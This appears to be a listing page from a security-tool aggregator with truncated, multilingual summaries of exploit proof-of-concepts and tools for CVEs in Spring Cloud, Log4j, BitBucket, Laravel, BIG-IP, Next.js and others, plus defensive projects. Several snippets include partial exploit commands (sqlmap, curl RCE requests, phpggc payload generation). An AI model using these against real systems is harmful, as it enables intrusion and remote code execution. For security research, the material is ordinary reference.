CVE-2022-22963

CVE-2022-22963 CVE-2022-22963 Spring-Cloud-Function-SpELRCE Reprodução da Vulnerabilidade Requer ambiente Docker Método 1 para iniciar o ambiente vulnerável root@kitploit: git clone https://github.com/RanDengShiFu/CVE-2022-22963.git;cd CVE-2022-22963;bash Start.sh Método 2 para iniciar o ambiente...

LearnDash

LearnDash Sqli LearnDash = 4.25.6 - Admin+ SQL 인젝션 설명 4.25.6 미만 버전의 LearnDash Wordpress 플러그인은 Admin+ SQL 인젝션에 취약합니다. 세부 정보 유형 : plugin 슬러그 : sfwd-lms 영향받는 버전 : CVSS 점수 : 9.8 CVSS 등급 : 심각 CVSS 벡터 : CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H POC root@kitploit: sqlmap -u...

CVE-2017-16943

CVE-2017-16943 Настройка среды root@kitploit: git clone https://github.com/Exim/exim.git git checkout 01c594601670c7e48e676d6c6d32d0f0084067fa cd ./exim/src mkdir Local wget "https://bugs.exim.org/attachment.cgi?id=1051" -O Makefile Измените переменные пути и имя пользователя в Makefile...

CVE-2025-55182-Test-Server

CVE-2025-55182-Test-Server 在安全环境中体验 react2shell！ Quick Start 克隆仓库 root@kitploit: git clone https://github.com/CharlesTheGreat77/CVE-2025-55182-Test-Server cd CVE-2025-55182-Test-Server 运行 Docker 文件 root@kitploit: docker compose up --build -d PoC root@kitploit: curl -s -X POST...

CVE-2025-6713

CVE-2025-6713 создание агрегационного конвейера для доступа к данным без надлежащей авторизации из-за некорректной обработки $mergeCursors в MongoDB v8.0 v7.0 v6.0 6.0.22 установка не очень сложно — просто используйте pip3 для установки зависимостей: pip install -r requirements использование...

SubMon

SubMon 어떤 사람들은 버그 바운티가 단지 버그를 찾는 것이 아니라 '가장 먼저' 찾는 것이라고 말합니다. 저는 사냥꾼들이 새로운 서브도메인이 나타날 때 알림을 받을 수 있도록 이 도구를 만들고 있습니다. 기능 좋아하는 타겟을 추가할 수 있습니다: 이름 + 도메인. 그런 다음 scan을 클릭하거나 스캔을 schedule할 수 있습니다. 스캔이 완료되면 Discord 알림을 받게 됩니다. 스케줄러를 설정하면 새로운 서브도메인이 발견될 때마다 Discord 알림을 받게 됩니다. 여기서 마지막 스캔 결과를 볼 수 있습니다: 어떤...

POC-CVE-2025-29927

CVE-2025-29927: Prova de Conceito de Bypass de Middleware do Next.js Visão Geral Este PoC demonstra o CVE-2025-29927, uma vulnerabilidade no middleware do Next.js que permite a atacantes contornar mecanismos de autenticação, autorização e CSP usando o cabeçalho x-middleware-subrequest. Versões...

suricata_exporter

Suricata Prometheus Exporter 这是一个用于 Suricata 的 Prometheus Exporter，通过 unix socket 使用 dump-counters 来查询指标。 使用方法 root@kitploit: $ ./suricataexporter -h Usage of ./suricataexporter: -suricata.socket-path string Path to the Suricata Command socket. default "/var/run/suricata.socket" -version Output...

NodeGoat

NodeGoat हल्का, तेज़ और स्केलेबल होने के कारण, Node.js वेब अनुप्रयोगों के विकास के लिए व्यापक रूप से अपनाया जा रहा प्लेटफॉर्म बनता जा रहा है। यह प्रोजेक्ट एक ऐसा वातावरण प्रदान करता है जहां आप सीख सकते हैं कि OWASP Top 10 सुरक्षा जोखिम Node.js का उपयोग करके विकसित वेब अनुप्रयोगों पर कैसे लागू होत...

CVE-2020-7693

CVE-2020-7693 PoC Note : Je confirme que la charge utile pour CVE-2020-7693 peut être exécutée dans un programme de Bug Bounty Description : Une gestion incorrecte de l'en-tête Upgrade avec la valeur websocket entraîne un crash des conteneurs hébergeant des applications sockjs. Cela affecte le...

gemma_crackme_tutorial

Google의 Gemma 4 E4B 로컬 AI 모델을 사용하여 간단한 Crackme 리버스 엔지니어링하기 저는 Google이 출시한 새로운 Gemma E4B 오픈 가중치 로컬 모델을 가지고 놀던 중, 로컬 오프라인 리버스 엔지니어링 시나리오에서 놀라운 성공을 거두는 것을 보았습니다. 이 튜토리얼을 작성하여 로컬 AI가 이제 많은 기본적인 리버싱 작업에 충분히 좋다는 사실을 알리고, 앞으로 상황이 빠르게 개선될 것이라는 점을 전파하고자 합니다. 리버스 엔지니어링과 AI 새로운 바이너리를 리버싱할 때 가장 지루한 부분 중 하나는...

CVE-2022-36804

CVE-2022-36804 概念验证 该仓库包含针对近期 BitBucket 远程代码执行漏洞 CVE-2022-36804 的简易概念验证利用代码。利用此漏洞需要能够访问目标实例上的一个仓库；如果你没有凭据，则目标必须具有公开仓库。 用法 root@kitploit: usage: exploit.py -h -p PROJECT -r REPO -u URL -c COMMAND --proxy PROXY --session SESSION --check Exploits the CVE-2022-36804 RCE in vulnerable BitBucket...

CVE-2022-32118

CVE-2022-32118 - Arox-XSS Arox School ERP Pro 应用程序的多个页面（包括登录页面）存在存储型和反射型跨站脚本漏洞，可导致任意 JavaScript 命令的执行。该应用程序中有更多受跨站脚本影响的参数，但以下仅列出部分示例。 存储型 XSS 漏洞页面： localhost/officeadmin/?pid=74&action=dispatchcategoryedit&id=3 root@kitploit:...

CVE-2022-2588

CVE-2022-2588 修复 该漏洞在 Linux v5.19 中通过此提交得到修复。 漏洞 该漏洞于 2014 年在 Linux v3.17 中通过此提交引入。需要 用户命名空间 才能触发。该漏洞与 CVE-2021-3715 非常相似，后者是由于对 route4filter 链表操作不当引起的。CVE-2021-3715 的更多详情可在黑帽演讲（第 16 页）中找到。以下是 CVE-2022-2588 的简要细节。 以下展示了函数 route4change 的一些重要代码片段，以帮助理解 CVE-2022-2588。 root@kitploit: static int...

laravel-exploits

laravel-exploits 针对 CVE-2021-3129 的漏洞利用 详情：https://www.ambionics.io/blog/laravel-debug-rce 用法 root@kitploit: $ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id $ ./laravel-ignition-rce.py http://localhost:8000/ /tmp/exploit.phar Log file:...

ODIS-project-explorer

ODIS 프로젝트 탐색기 Nefarious Motorsports 포럼 스레드: http://nefariousmotorsports.com/forum/index.php?topic=23836.0 이 Python 프로젝트는 MCD Runtime Projects에 저장된 데이터를 언팩하고 활용하기 위한 것입니다 흔히 ".db and .key files "라고 알려진. 일반적으로 이러한 파일은 MCD Kernel에 의해 사용되며, 이후 ODIS나 iDEX 등에서 사용됩니다. 모든 ODIS 설치에는...

Log4Shell

Log4Shell CVE-2021-44228 ☠️ Log4Shell PoC CVE-2021-44228 Эксплойт для проверки критической уязвимости Log4Shell в Apache Log4j ≤ 2.14.1, позволяющий удалённое выполнение кода через JNDI-инъекции. ⚠️ Данный PoC предназначен только для образовательных целей и контролируемого тестирования в...

CVE-2021-22986-Poc

CVE-2021-22986-Poc BIGIP iControl 무인증 RCE를 위한 PoC입니다. POC : curl -ksu admin:redacted https://192.168.123.134/mgmt/tm/access/bundle-install-tasks -d '"filePath":"id"' | jq . curl -ksu : https://192.168.123.134/mgmt/shared/authn/login -d...

CVE-2022-22947-pb-ai

CVE-2022-22947 Spring Cloud Gateway приложение для проверки уязвимости Это приложение Spring Cloud Gateway, специально разработанное для демонстрации и проверки уязвимости CVE-2022-22947. Приложение использует уязвимую версию Spring Cloud Gateway, позволяющую выполнять произвольный код через...

MakerChecker

🛡️ MakerChecker AI 代理的开源安全层。 默认拒绝执行、人工审批以及加密签名的审计追踪——确保您的代理仅运行被授权的内容，并且可证明无法自行批准其自身的工作。 网站 · 在线演示 · mc scan · 文档 您的代理继续在其现有框架（LangChain、Claude SDK、CrewAI）中运行。MakerChecker 位于每个工具调用的前后：作为检查点在前，作为签名账本在后。代理仅通过角色 行动，仅执行被授予 的技能，不能超出其限制，也不能批准自身的工作。 🚀 快速入门 1 — 扫描您的代码...